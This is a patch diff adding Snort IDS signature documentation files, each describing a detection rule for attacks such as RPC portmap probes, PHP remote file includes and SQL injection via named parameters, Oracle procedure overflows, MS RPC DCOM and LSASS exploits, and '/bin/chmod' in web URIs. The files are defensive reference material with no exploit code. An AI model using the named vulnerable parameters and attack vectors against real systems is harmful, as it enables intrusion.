+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1276.txt
+++ snort-2.8.5.2/doc/signatures/1276.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1276
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap
+GETPORT request to discover the port where the Remote Procedure Call
+(RPC) ypserv is listening.
+
+
+--
+Impact:
+Information disclosure. This request is used to discover which port
+ypserv is using. Attackers can also learn what versions of the ypserv
+protocol are accepted by ypserv. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can
+be queried to determine the port where RPC services such as ypserv run.
+The ypserv RPC service looks up information in the local Network
+Information Service (NIS) maps. The ypserv program provides the server
+function for Yellow Pages (YP) by providing clients information from NIS
+maps. Multiple vulnerabilities are associated with the ypserv RPC program.
+
+--
+Affected Systems:
+	All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where ypserv
+runs. This may be a precursor to accessing ypserv.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user is allowed to access ypserv, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for ypserv, not
+probes of the ypserv service itself. Because RPC services often listen
+on fairly arbitrary ports, it may not be possible to detect misuses of
+the ypserv service itself. An attacker may attempt to go directly to the
+ypserv port without querying the portmapper service, which would not
+trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2366.txt
+++ snort-2.8.5.2/doc/signatures/2366.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+2366
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application PhpGedView.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+PhpGedView contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the PGV_BASE_DIRECTORY
+parameter when making a GET or POST  request to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	PhpGedView 2.65.1 and earlier
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path to the PGV_BASE_DIRECTORY variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000695.txt
+++ snort-2.8.5.2/doc/signatures/100000695.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000695
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "VCard PRO" application running on a webserver. Access to the file "rating.php" with SQL commands being passed as the "card_id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "card_id" parameter in the "rating.php" script used by the "VCard PRO" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VCard PRO
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000812.txt
+++ snort-2.8.5.2/doc/signatures/100000812.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000812
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SimpleBoard SBP" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "sbp" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "sbp" parameter in the "index.php" script used by the "SimpleBoard SBP" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SimpleBoard SBP
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000724.txt
+++ snort-2.8.5.2/doc/signatures/100000724.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000724
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "profile.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "profile.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1493.txt
+++ snort-2.8.5.2/doc/signatures/1493.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+1493
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+Access to the newuser directory on a host running RBS ISP may indicate
+that an attempt to exploit a well known directory traversal
+vulnerability is being made by appending a ../ to the image variable.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Ricky McAtee <rmcatee@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1646.txt
+++ snort-2.8.5.2/doc/signatures/1646.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1646
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3350.txt
+++ snort-2.8.5.2/doc/signatures/3350.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3350
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2511.txt
+++ snort-2.8.5.2/doc/signatures/2511.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2511
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1475.txt
+++ snort-2.8.5.2/doc/signatures/1475.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1475
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2686.txt
+++ snort-2.8.5.2/doc/signatures/2686.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2686
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure differences
+. This procedure is included in
+sys.dbms_rectifier_diff.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/483.txt
+++ snort-2.8.5.2/doc/signatures/483.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+483
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Windows host running CyberKit 2.2 software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows host running CyberKit 2.2 software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+http://www.whitehats.com/info/IDS154
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2631.txt
+++ snort-2.8.5.2/doc/signatures/2631.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2631
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "refresh_mview_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gowner" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck90.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2714.txt
+++ snort-2.8.5.2/doc/signatures/2714.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2714
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure resume_subset_of_masters
+. This procedure is included in
+dbms_offline_og.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1715.txt
+++ snort-2.8.5.2/doc/signatures/1715.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1715
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000512.txt
+++ snort-2.8.5.2/doc/signatures/100000512.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000512
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "lng.php" with SQL commands being passed as the "QuranID" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "QuranID" parameter in the "lng.php" script used by the 
+"VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1123.txt
+++ snort-2.8.5.2/doc/signatures/1123.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1123
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1336.txt
+++ snort-2.8.5.2/doc/signatures/1336.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1336
+
+--
+Summary:
+Attempted chmod command access via web
+
+--
+Impact:
+Attempt to change file permissions on a webserver.
+
+--
+Detailed Information:
+This is an attempt to change file permissions on a machine. Using this
+command an attacker may change the permissions of a file to suit his own
+needs, make a file readable, writeable or excutable to other groups and
+users that wouldotherwise not have these special permissions.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/chmod'
+in the URI whichcan then change file permissions of files present on
+the host.Thiscommand may also be requested on a command line should
+the attacker gainaccess to the machine.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside ofit's designated web root or cgi-bin.Whenever possible,
+sensitive files andcertain areas of the filesystem should have the
+system immutable flagset to negate the use of the chmod command. On
+BSD derived systems,setting the systems runtime securelevel also
+prevents the securelevelfrom being changed. (note: the securelevel can
+only beincreased)
+
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1337
+sid: 1338
+
+man chmod
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1944.txt
+++ snort-2.8.5.2/doc/signatures/1944.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1944
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2604.txt
+++ snort-2.8.5.2/doc/signatures/2604.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2604
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "create_mview_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
